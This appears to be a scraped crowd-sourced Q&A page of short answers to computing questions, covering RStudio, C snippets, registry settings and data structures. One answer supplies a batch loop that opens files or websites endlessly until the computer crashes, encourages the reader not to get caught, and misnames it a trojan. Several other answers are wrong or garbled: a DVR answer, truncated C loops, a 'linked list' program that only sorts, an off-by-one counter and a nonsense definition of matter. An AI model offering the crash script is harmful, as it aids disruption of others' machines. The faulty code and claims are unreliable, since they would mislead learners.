How do you connect a DVR to an IP camera and to a system?
You cannot connect a DVR directly to the camera. You have to use a computer connected to the camera. And Configure the camera in the way it saves all data on the computer hard drive. After that you will have to configure the computer to save the data to the DVR after certain period of time.
Who was the inventor of malware?
The creation of the first self-propagating program, or worm, is widely attributed to Robert Morris, Jr., who accidentally released such a program on ARPAnet (the predecessor to the internet).
How do you search for a string in a file in VB?
This is a simple function which will read the file line by line and search each individual line until the target string is found, then return the line number it was found in. It will return zero if the string was not found.
This is a simple function whipped up to demonstrate the basic technique, it has not been debugged or tested at all, and is certainly not the best solution possible. It also lacks any form of error trapping/handling.
You should not use this code in any program intended for production without rewriting it.
public function FindStringInFile(byval strTarget as string) as long
Dim iFile as integer 'file number
Dim iLineNum as long 'counter for line number
Dim strTmp as string 'variable length string to hold string from file
Dim bFound as boolean 'flag to indicate it was found
'First, open the file for input:
iFile = freefile 'get the next free file number
open "filename.txt" for input as #iFile 'open the file in input mode
do until eof(ifile) 'continue reading lines until the end of the file
line input #ifile, strTmp 'read a line into the string variable iLineNum = iLineNum + 1 'increment the line number counter
if instr$(strTarget, strTmp) <> 0 then 'set the flag and exit the loop
bFound = true
exit do
end if
loop
'check the flag
if bFound then
'found, return the line number
FindStringInFile = iLineNum
else
'not found, return zero
FindStringInFile = 0
end if
end function
Which type of computer can performs trillions of program instructions per second?
At present time only a massively parallel super computer can give you that speed.
How do you set working directory in RStudio?
The global default working directory is ~. Note that relative file references in your code will become invalid when you change working directories.
There are a number of ways to change the current working directory:
On Windows, you can set the working directory by changing the Start in field of your RStudio shortcut.
On a Mac you can drag/drop a folder onto the RStudio Dock icon to set the working directory.
Alternatively, open a terminal and specify the work directory:
$ open -a RStudio ~/projects/foo
$ open -a RStudio .
Note you can use the same terminal commands in Linux, however omit the trailing '.' in the second invocation. The first invocation sets "~/projects/foo" as the working directory, the second uses the current working directory.
When launched through file association, RStudio automatically sets the current working directory to the directory of the opened file. However, if RStudio is already running, opening another file via file association will not change the current working directory.
RStudio uses the .Rprofile file located in the current working directory. If there is no .Rprofile in that directory, the .Rprofile file located in the global default working directory (~/.Rprofile) is used instead.
The global .RData file will be saved in your new working directory when you exit RStudio.
What the weighted binary code for the base-12 digits using weights of 5421?
0000,0001,0010,0011,0100,0101,0110,0111,1011,1100,1101,1110
How do you write a program to join two strings?
#include<stdio.h>
#include<conio.h>
main()
{
char s1[20],s2[20];
printf("enter first string");
scanf("%s",s1);
printf("enter second string");
scanf("%s",s2);
string_concatenate(&s1,&s2);
}
count_characters(char *x)
{
int i=0, count=0;
for(i=0;*(x+i)!='\0';i++)
count++;
return count;
}
string_concatenate(char *s1,char *s2)
{
int i,j;
char s3[50];
for(i=0;i
s3[i]=s1[i];
for(j=0;j
s3[i+j]=s2[j];
s3[i+j]=s2[j];
printf("%s",s3);
getch();
}
How do you create a virus from the command prompt?
You cannot create a virus directly from the command prompt, but you can create one from a batch file. I only know how to create trojans, in the form below, which must be entered in a notepad.
:loop
start "file"
goto loop
where "file" is typed, enter the syntax of the file or program you want to be opened, or a website address. that file, program, or website will then be repetatively opened until the computer crashes. Multiple files, programs, and websites can be set to be opened in the following format:
:loop
start "file"
start "file
goto loop
I hope this will help you, and i wish you luck in not getting caught, as creating viruses, trojans, and other malwear is illeagle.
What does interoperability mean?
Interoperability has different meanings for different contexts. A common context is within a particular computer system, such as a personal computer, or over a network connection (net-centric interoperability). Other contexts might involve physical connections such as mounting connections for cameras and strobe lights, standard tow hitch receivers and balls, or business processes such as real estate listings, stock exchanges, or even recognition of driver's licences, marriage/birth certificates, or passports from other jurisdictions. A taxonomy of different contexts for interoperability would be a useful starting point, but this is likely to take years to develop consensus on. For computer systems and network contexts, interoperability is the ability for separate entities (e.g., devices, software programs, agents/users, institutions) to function usefully with each other inside that context for some set of purposes. While this might be viewed a binary condition in some circumstances, there is usually some aspect of degree associated with the concept of interoperability. So a particular device or program might be interoperable with others on a given computer, but only in specific ways and for specific functions/features. And the scope of the context in which they are interoperable may be constrained in various ways. For example, said program and devices might only work with specific operating systems or versions of the operating systems, or with only specific network protocols or versions of those protocols. And the purposes that the using agents or institutions have in mind will determine whether a given set of entities are "interoperable enough" to accomplish those purposes. While people often use the term interoperability or interoperable without specifying a purpose or context, they always have an implicit set of purposes and contexts in mind, whether conscious of these or not. It helps to be explicit about them if one wants some degree of assurance of interoperability among any given set of entities or some understanding of the degree of interoperability that can be expected for one's purposes.
Write a program that prints the letter X composed of asterisks?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void draw_x(int width, int height);
int main(int argc, char *argv[]){
int width, height;
if(argc != 3){
printf("Syntax: this_program width height\n");
exit(1);
}
width = atoi(argv[1]);
height = atoi(argv[2]);
// make sure they're both positive non-zeros
if(height > 0 && width > 0){
draw_x(width, height);
}else{
printf("numbers must be naturals\n");
exit(1);
}
return 0;
}
void draw_x(int width, int height){
int tally = 0;
int drawx, drawy;
char grid[height][width + 1];
memset(grid, ' ', height * (width + 1) * sizeof(char));
if(width > height){
drawy = 0;
for(drawx = 0; drawx < width; drawx++){
tally += height;
if(tally > width){
tally -= width;
drawy++;
}
grid[drawy][drawx] = '*';
grid[drawy][width - drawx - 1] = '*';
}
}else{
drawx = 0;
for(drawy = 0; drawy < height; drawy++){
tally += width;
if(tally > height){
tally -= height;
drawx++;
}
grid[drawy][drawx] = '*';
grid[drawy][width - drawx - 1] = '*';
}
}
for(drawy = 0; drawy < height; drawy++){
grid[drawy][width] = 0;
printf("%s\n", grid[drawy]);
}
}
How do washers function using Dialogic?
The machine only needs to be loaded, and told what is the most delicate garment in the wash. It then evaluates other wash factors to create the "perfect" wash--lowest possible noise, cleanest rinse, appropriate detergent, and appropriate water usage
What is meant by the phrase one block of code can be nested in another?
It simply means one code block contains another code block. How you achieve this depends on the language, but in many languages we use opening and closing braces to define a code block.
function foo ()
{ // start of function block
{ // start of nested block
// ...
} // end of nested block
} // end of function block
Nested code blocks are typically used to define a new scope within an existing scope. Any variables declared within the nested block are local to the scope of that block and will fall from scope when we exit the nested block. This can be useful when we want to instantiate new variables within a larger scope but want to localise them to the code block that actually uses them. In some languages (such as C++) this also allows us to redefine names that were initially defined by the enclosing scope, temporarily hiding the original names from within the nested scope (only the local names are visible). When we exit the nested block, the original names become visible again. However, referring to two separate variables by the same name within two scopes of the same function can make code difficult to read, so this is best avoided.
#include <cstdio>
int main()
{
int x[10];
printf("Enter 10 integers: \n");
for(int i = 0; i < 10; i++)
{
scanf("%d", &x[i]);
}
for(int i = 0; i < 10; i++)
{
printf("%d, ", x[i]);
}
char wait;
scanf("%s", wait);
return 0;
}
What is the different between program and programming?
A computer program (also a software program, or just a program) is a sequence of instructions written to perform a specified task for a computer. A computer requires programs to function, typically executing the program's instructions in a central processor. The program has an executable form that the computer can use directly to execute the instructions. The same program in its human-readable source code form, from which executable programs are derived (e.g., compiled), enables a programmer to study and develop its algorithms.
Computer source code is often written by professional computer programmers. Source code is written in a programming language that usually follows one of two main paradigms: imperative or declarative programming. Source code may be converted into an executable file (sometimes called an executable program or a binary) by a compiler and later executed by a central processing unit. Alternatively, computer programs may be executed with the aid of an interpreter, or may be embedded directly into hardware.
Computer programs may be categorized along functional lines: system software and application software. Many computer programs may run simultaneously on a single computer, a process known as multitasking.
What are the function of matter?
matter makes something divided to three parts . To make anything become that three parts like Gas, Liquid, Solid
Counting even and odd numbers algorithm?
#include
using std::cout;
using std::endl;
int main()
{
int arr[] = {2, 45, 34, 56, 56};//you define here your array of even and odd numbers
int arrSize = sizeof arr/sizeof arr[0];
int numEven = 0;
int numOdd = 0;
for (int i = 0; i < (arrSize - 1); i++)
{
if (arr[i] % 2 == 0)
{
numEven++;
}
else
{
numOdd++;
}
}
cout << endl << "Number of even numbers: " << numEven
<< endl << "Number of odd numbers: " << numOdd
<< endl;
system("PAUSE");
return 0;
}
How do you store a string of letters for example abcdeabcde each to an array?
In C programming you would use the following:
char a[] = "abcdeabcde";
If you wish to create an array with more than one string, use an array of character pointers instead:
char* a[] = {"abcde", "fgh", "ijklm", "nopq", "rstu", "vwxyz"};
Write a program in C to accept 10 integers and print them in reverse order using linked list?
# include<stdio.h>
# include<conio.h>
void main()
{
int arr[10];
int i,j,temp;
clrscr();
for(i=0;i<10;i++)
scanf("%d",&arr[i]);
for(i=0;i<9;i++)
{
for(j=i+1;j<10;j++)
{
if(arr[i]<arr[j])
{
temp=arr[i];
arr[i]=arr[j];
arr[j]=temp;
}
}
}
printf("\nSorted array elements :\n");
for(i=0;i<10;i++)
printf("%d ",arr[i]) ;
getch();
}
Why inc and dec Do Not Affect the Carry Flag in assembly language?
The increment and decrement circuitry is dedicated circuitry that simply adds or subtracts one from an operand. Both operations are handled by the same circuitry. Being the most common operations by far, the circuitry is typically placed as close to the registers and the address lines as possible. The circuitry primarily consists of a sequence of half-adders each of which takes an input carry bit and outputs a carry bit to the next half-adder. Since this would result in a "carry ripple" effect, the half-adders are combined such that multiple carry bits can be handled more efficiently. This makes the circuitry more complex, but is more than compensated by the reduced effect of carry ripple. To speed things up further, the final carry bit is simply ignored (leaving the carry flag unaffected), it being superfluous to the vast majority of increment and decrement operations.
One of the primary roles of the increment circuitry is to advance the instruction pointer to the next instruction. This operation must execute at least once per instruction, so the faster it achieves this the better. The circuitry is also used to both increment or decrement the stack pointer. The carry flag is superfluous to these and the majority of all other increment or decrement operations, so they have no effect upon it, thus maintaining as high a degree of efficiency as possible.
Can you make a batch script where windows update will be set to automatic?
WARNING: The following answer contains information related to the Windows registry. You use this information entirely at your own risk!
The "automatic" option is stored in the Windows registry, here:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update
The AUOptions value has the following settings:
0x00000001 (1): Never check for updates (not recommended)
0x00000002 (2): Check for updates but let me choose whether to download and install them
0x00000003 (3): Download updates but let me choose whether to install them
0x00000004 (4): Install updates automatically (recommended)
The CachedAUOptions value must match the AUOptionsvalue. Both values are REG_DWORD values. To switch to automatic updates, change both values to 0x00000004 (4).
To silently switch to automatic updates via batch file, first create the following REG file (or ECHO it to a temporary file from within your batch file):
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update]
"AUOptions"=dword:00000004
"CachedAUOptions"=dword:00000004
Within your batch file execute the following command:
reg import
Replace
What are primary data structure?
A primary data structure is a data structure that is created without the use of other data structures, whereas a secondary data structure relies on a primary data structure. A data structure is an organized collection of data elements.
[NOTE: Be careful not to confuse the term data structure with the term data type. It is a common mistake. This answer addresses dat structures. Often people who ask about primary data structures or primitive data structures are really asking about primitve data types.]
Here is an example where an array is a primary data structure and a binary tree is a secondary data structure based on the array:
An array is a primary data structure -- it is a set of sequentially numbered data elements, such as an array of integers or an array of names -- name0, name, name2, ...
A binary tree is a data structure where each element (called a node) has a data component and pointers to it's left and right sub-trees. [Think of a directory of folders, but each folder can only have two sub-folders.] We can create an and store an array of nodes to set up the tree in languages like C++ or Java.
The root of the tree could be node 1 in the array, it would point to nodes 2 and 3. node 2 would point to nodes 4 and 5, while node 3 would point to nodes 6 and 7 .. and so on. generally node n point to nodes 2n and 2n+1. (You can start with node 0, but the math is a little easier if you start with node 1.)
The binary tree in this case is the secondary data structure, while the undelying array is the primary data structure.
What is the abbreviation of CCNA?
you mean acronym right? last time i checked it was 'cisco certified network associate'